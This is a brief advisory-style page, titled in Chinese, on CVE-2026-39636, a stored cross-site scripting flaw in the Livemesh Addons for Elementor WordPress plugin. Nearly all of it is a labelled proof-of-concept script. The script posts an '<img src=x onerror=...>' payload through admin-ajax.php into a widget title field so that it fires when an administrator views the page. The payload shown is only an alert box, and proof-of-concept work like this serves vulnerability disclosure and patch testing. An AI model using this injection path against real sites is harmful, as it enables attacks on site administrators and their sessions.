CVE-2026-39636 Livemesh插件存储型XSS漏洞

<!-- Conceptual PoC for Stored XSS in Livemesh Addons for Elementor This script demonstrates how an attacker might inject a payload. --> <script> // Attacker constructs a malicious payload var payload = '<img src=x onerror=alert(1)>'; // Simulating a POST request to a vulnerable endpoint (e.g., via AJAX) var formData = new FormData(); formData.append('action', 'save_elementor_widget'); formData.append('widget_title', payload); // Vulnerable field fetch('/wp-admin/admin-ajax.php', { method: 'POST', body: formData, credentials: 'include' }).then(response => console.log('Payload injected')); // When an admin views the page, the alert triggers. </script>